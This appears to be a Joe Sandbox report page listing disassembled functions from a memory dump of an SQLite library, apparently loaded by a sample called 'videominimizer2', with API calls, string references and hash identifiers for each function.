Function 609296D1 Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

sqlite3_value_bytes.SQLITE3 ref: 609296F3
sqlite3_mprintf.SQLITE3 ref: 60929708
sqlite3_free.SQLITE3 ref: 6092971B
sqlite3_value_blob.SQLITE3 ref: 6092972A

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_value_blobsqlite3_value_bytes
String ID:
API String ID: 1163609955-0
Opcode ID: c446836a4840d302dbdc97fcf3f25a19881b43244be54ce00609cbc101420811
Instruction ID: 8e0d1a1b7fe9adeaf330fda5a565ce202833de3a42fcd494fa905fee92021967
Opcode Fuzzy Hash: c446836a4840d302dbdc97fcf3f25a19881b43244be54ce00609cbc101420811
Instruction Fuzzy Hash: F6F0C8716282145FC3106F3994816697BE6DFA6758F0144A9F584CB314DB75CC82C742

Function 60961580 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

sqlite3_prepare_v2.SQLITE3 ref: 609615BA
sqlite3_step.SQLITE3 ref: 609615C9
sqlite3_column_int.SQLITE3 ref: 609615E1

Part of subcall function 6091D4F4: sqlite3_value_int.SQLITE3 ref: 6091D50C

sqlite3_finalize.SQLITE3 ref: 609615EE

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_column_intsqlite3_finalizesqlite3_prepare_v2sqlite3_stepsqlite3_value_int
String ID:
API String ID: 4265739436-0
Opcode ID: edb1a347b7ee41d63e69a54b369763b34702b79c0c254a7699785c0090147395
Instruction ID: 970f7a8085286b868af170b9ae73916577c28f03d50975cfa6e3c5bd991c66ad
Opcode Fuzzy Hash: edb1a347b7ee41d63e69a54b369763b34702b79c0c254a7699785c0090147395
Instruction Fuzzy Hash: BE01E4B0D083049BEB10EF69C58575EFBF9EFA5314F00896DE8A997380E775D9408B82

Function 6092A62C Relevance: 6.0, APIs: 4, Instructions: 38stringCOMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 6092A638

Part of subcall function 60912453: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1

sqlite3_mutex_enter.SQLITE3 ref: 6092A64F
strcmp.MSVCRT ref: 6092A66A
sqlite3_mutex_leave.SQLITE3 ref: 6092A67D

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_mutex_enter$sqlite3_initializesqlite3_mutex_leavestrcmp
String ID:
API String ID: 1894734062-0
Opcode ID: 1480f87154849f1cdf239baa72c9ff1b5e3c835899009c68b4affe8256d9fce5
Instruction ID: 0dacd04717b96a229033e5bf385d74358d6efc238696297f04088f4a0acd15ee
Opcode Fuzzy Hash: 1480f87154849f1cdf239baa72c9ff1b5e3c835899009c68b4affe8256d9fce5
Instruction Fuzzy Hash: EBF0B4726243044BC7006F799CC164A7FAEEEB1298B05802CEC548B319EB35DC0297A1

Function 609084D1 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 609084E9
sqlite3_mutex_leave.SQLITE3 ref: 60908518
sqlite3_mutex_enter.SQLITE3 ref: 60908528
sqlite3_mutex_leave.SQLITE3 ref: 6090855B

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 1477753154-0
Opcode ID: dbb0a767127359d75753d9f151f7b9e03affe710ab86404e29d94d971225fba8
Instruction ID: c41a4d3f3efa942db11cbd34a9101edfe28f26dd6f673ba1da0d5803e4a0adbd
Opcode Fuzzy Hash: dbb0a767127359d75753d9f151f7b9e03affe710ab86404e29d94d971225fba8
Instruction Fuzzy Hash: FD01A4B05093048BDB40AF25C5D97CABBA5EF15718F0884BDEC894F34AD7B9D5448BA1

Function 609481BF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3 ref: 609498F5

Strings

out of, xrefs: 60948277
into, xrefs: 60948285

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_log
String ID: into$out of
API String ID: 632333372-1114767565
Opcode ID: 05e60a680804dc8d75cc30d301a58b6784d3cbcabfb13c7dcba40214300a3b29
Instruction ID: de20b162988cb891a2f8fbcf22309076e3e21d241eadb06c465d82de9f0e8d92
Opcode Fuzzy Hash: 05e60a680804dc8d75cc30d301a58b6784d3cbcabfb13c7dcba40214300a3b29
Instruction Fuzzy Hash: 91910170A043149BDB26CF28C88175EBBBABF65308F0481E9E858AB355D7B5DE85CF41

Function 60919123 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 60918408: sqlite3_value_text.SQLITE3 ref: 60918426

sqlite3_free.SQLITE3 ref: 609193A3

Strings

NULL, xrefs: 60919165
(NULL), xrefs: 60919157

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_freesqlite3_value_text
String ID: (NULL)$NULL
API String ID: 2175239460-873412390
Opcode ID: 2d639d8f8789be8f4f2115c7e339461789bfa1512606a4b94e85873a15b94a2d
Instruction ID: 63658e955800b40111a930d2026d12727b3b294c4be858d68b3f7c51d7abf176
Opcode Fuzzy Hash: 2d639d8f8789be8f4f2115c7e339461789bfa1512606a4b94e85873a15b94a2d
Instruction Fuzzy Hash: E3514B31F0825A8EEB258A68C89479DBBB6BF66304F1441E9C4A9AB241D7309DC6CF01

Function 6094945C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3 ref: 609498F5

Strings

-- , xrefs: 60949549
d, xrefs: 609494E6

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_log
String ID: -- $d
API String ID: 632333372-777087308
Opcode ID: 2197877c990d2cc598be623123ad695ba2ed3a88a0fc98749b4c643aad0a3996
Instruction ID: d45f625f7ed72e8bd0cbe86fb5af212c953cff4c7e5ffbb26f6c4a79540968e1
Opcode Fuzzy Hash: 2197877c990d2cc598be623123ad695ba2ed3a88a0fc98749b4c643aad0a3996
Instruction Fuzzy Hash: FB51F674A043689BDB26CF28C980789BBFABF55304F1481D9E89CAB341C7759E85CF40

Function 60942334 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3 ref: 609498F5

Strings

|, xrefs: 609499CF
string or blob too big, xrefs: 60949978

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_log
String ID: string or blob too big$|
API String ID: 632333372-330586046
Opcode ID: b6301cf988e6664baaa8b4960c9a349f418ad1f33ca54faa928bbeacb0d503e6
Instruction ID: 65a9847582dc10a4f4f17f1c4fc8d82f10366072c52f03016cacc5a11d353e3e
Opcode Fuzzy Hash: b6301cf988e6664baaa8b4960c9a349f418ad1f33ca54faa928bbeacb0d503e6
Instruction Fuzzy Hash: 4D51B9749083689BCB22CF28C985789BBF6BF59314F1086D9E49897351C775EE81CF41

Function 609426B3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3 ref: 609498F5

Strings

|, xrefs: 609499CF
d, xrefs: 60942791

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_log
String ID: d$|
API String ID: 632333372-415524447
Opcode ID: b41da94c8e0873fb31ce46b9bf1ec845f2d469f37e36bd2a55cc8f8885e561b5
Instruction ID: dac03e427e93f591f5d1737f90c886445feec93ea56e6f6f32424ebbe55d5cce
Opcode Fuzzy Hash: b41da94c8e0873fb31ce46b9bf1ec845f2d469f37e36bd2a55cc8f8885e561b5
Instruction Fuzzy Hash: 50510970A04329DBDB26CF19C981799BBBABF55308F0481D9E958AB341D735EE81CF41

Function 609480BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 609480E2
sqlite3_log.SQLITE3 ref: 609498F5

Strings

string or blob too big, xrefs: 60949978

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_logsqlite3_value_text
String ID: string or blob too big
API String ID: 2320820228-2803948771
Opcode ID: 4552165c49a92a3f1eebbde7746405f837ee0ef0562a3825501d2540ddfe4a5c
Instruction ID: 1f8da1134a73d261049fdcd83983d84c916c8a3f87851362e697cdb17b1d2bab
Opcode Fuzzy Hash: 4552165c49a92a3f1eebbde7746405f837ee0ef0562a3825501d2540ddfe4a5c
Instruction Fuzzy Hash: F631D9B0A083249BCB25DF28C881799B7FABF69304F0085DAE898A7301D775DE81CF45

Function 6091407D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 60914096
sqlite3_value_numeric_type.SQLITE3 ref: 609140A2

Strings

, xrefs: 60914088

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_aggregate_contextsqlite3_value_numeric_type
String ID:
API String ID: 3265351223-3916222277
Opcode ID: 46809e466d9dc696839b8d734d1d71a7cd961db8d22299a3a9f395bc6b436a6c
Instruction ID: a3c0f903ff645dd1c5a8146eaa2078e963ad6c1b8d1bbf61d5d4caeb1888773d
Opcode Fuzzy Hash: 46809e466d9dc696839b8d734d1d71a7cd961db8d22299a3a9f395bc6b436a6c
Instruction Fuzzy Hash: 19119EB0A0C6589BDF059F69C4D539A7BF6AF39308F0044E8D8D08B205E771CD94CB81

Function 60956040 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

sqlite3_stricmp.SQLITE3 ref: 60956065
sqlite3_stricmp.SQLITE3 ref: 6095607E

Strings

log, xrefs: 609560C0

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_stricmp
String ID: log
API String ID: 912767213-2403297477
Opcode ID: 32625358f7d37366d1c1d188942de81712d107425b8b720a67b4b84d1adec0cd
Instruction ID: cbf508da25866b0a35bc2ca480d64d7c482f0664b0359b741109bd545b4f9ff5
Opcode Fuzzy Hash: 32625358f7d37366d1c1d188942de81712d107425b8b720a67b4b84d1adec0cd
Instruction Fuzzy Hash: FD11DAB07087048BE725AF66C49535EBBB3ABA1708F10C42CE4854B784C7BAC986DB42

Function 60902148 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

sqlite3_strnicmp.SQLITE3 ref: 60902167
sqlite3_strnicmp.SQLITE3 ref: 60902193

Strings

SQLITE_, xrefs: 6090215C

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_strnicmp
String ID: SQLITE_
API String ID: 1961171630-787686576
Opcode ID: 6b56a851e7df47422a7a29131339b4dfcb3302745a705f9abe90012807219487
Instruction ID: 6d5ef3c0fd507030b5e8170497320435726bf3f0db30f2d6f2734bcd7f756fb3
Opcode Fuzzy Hash: 6b56a851e7df47422a7a29131339b4dfcb3302745a705f9abe90012807219487
Instruction Fuzzy Hash: 2501D6B190C3505FD7419F29CC8075BBFFAEBA5258F10486DE89687212D374DC81D781

Function 6091A1B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

sqlite3_value_bytes.SQLITE3 ref: 6091A1DB
sqlite3_value_blob.SQLITE3 ref: 6091A1FA

Strings

Invalid argument to rtreedepth(), xrefs: 6091A1E3

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_value_blobsqlite3_value_bytes
String ID: Invalid argument to rtreedepth()
API String ID: 1063208240-2843521569
Opcode ID: 11a8b631faa983fdd1b04a57150add771201859657fb9a8a7ca9793758d49f10
Instruction ID: c9489564a96cd83e586e3a08c251b8a8c74d553169181c25a19da25ffef599d7
Opcode Fuzzy Hash: 11a8b631faa983fdd1b04a57150add771201859657fb9a8a7ca9793758d49f10
Instruction Fuzzy Hash: 0FF0A4B2A0C2589BDB00AF2CC88255577A6FF24258F1045D9E9858F306EB34DDD5C7D1

Function 609561A9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_soft_heap_limit64.SQLITE3 ref: 609561D7

Part of subcall function 6092A43E: sqlite3_initialize.SQLITE3 ref: 6092A450
Part of subcall function 6092A43E: sqlite3_mutex_enter.SQLITE3 ref: 6092A466
Part of subcall function 6092A43E: sqlite3_mutex_leave.SQLITE3 ref: 6092A47F
Part of subcall function 6092A43E: sqlite3_memory_used.SQLITE3 ref: 6092A4BA

sqlite3_soft_heap_limit64.SQLITE3 ref: 609561EB

Strings

soft_heap_limit, xrefs: 609561F7

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_soft_heap_limit64$sqlite3_initializesqlite3_memory_usedsqlite3_mutex_entersqlite3_mutex_leave
String ID: soft_heap_limit
API String ID: 1251656441-405162809
Opcode ID: 0a3178e3d5348c0d1dba646aca47308acc52713326f376e4eba91e5107f5ba07
Instruction ID: 8891d4bbc0f5aef5547f00e3070395c34840fc2012d087b050684f6162b0ba7d
Opcode Fuzzy Hash: 0a3178e3d5348c0d1dba646aca47308acc52713326f376e4eba91e5107f5ba07
Instruction Fuzzy Hash: C2014B71A083188BC710EF98D8417ADB7F2BFA5318F508629E8A49B394D730DC42CF41

Function 60925208 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6094A57F), ref: 6092522A
sqlite3_log.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6094A57F), ref: 60925263

Strings

NULL, xrefs: 60925213

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_log
String ID: NULL
API String ID: 632333372-324932091
Opcode ID: f56f6a0e8a895df1b0101c46b9851dc3af9ce5b0d95800d46be4b721d61d1ab1
Instruction ID: 5a36de60e8574ea04015b231464f09686a41744340efbe7a8a869d8181b3dc96
Opcode Fuzzy Hash: f56f6a0e8a895df1b0101c46b9851dc3af9ce5b0d95800d46be4b721d61d1ab1
Instruction Fuzzy Hash: BAF0A070238301DBD7102FA6E44230E7AEBABB0798F48C43C95A84F289D7B5C844CB63

Function 6096D5A0 Relevance: 5.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 6096D5C3
free.MSVCRT ref: 6096D609
LeaveCriticalSection.KERNEL32 ref: 6096D615

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
Opcode ID: 13d179c58506242de641c1793229aaf6d73ae3266bd26a3d41fb94aeb54caf06
Instruction ID: 980a39aab3b848caec2c27f45d5308e77b440585e3cd6ccd446b63c63d51e1b6
Opcode Fuzzy Hash: 13d179c58506242de641c1793229aaf6d73ae3266bd26a3d41fb94aeb54caf06
Instruction Fuzzy Hash: 2D018070B293058BDB10DF28C985919BBFBABB6308B20855CE499D7355D770DC80EB62

Function 6096D4C0 Relevance: 5.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D4DF
TlsGetValue.KERNEL32(?,?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D4F5
GetLastError.KERNEL32(?,?,?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D4FD
LeaveCriticalSection.KERNEL32(?,?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D520

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

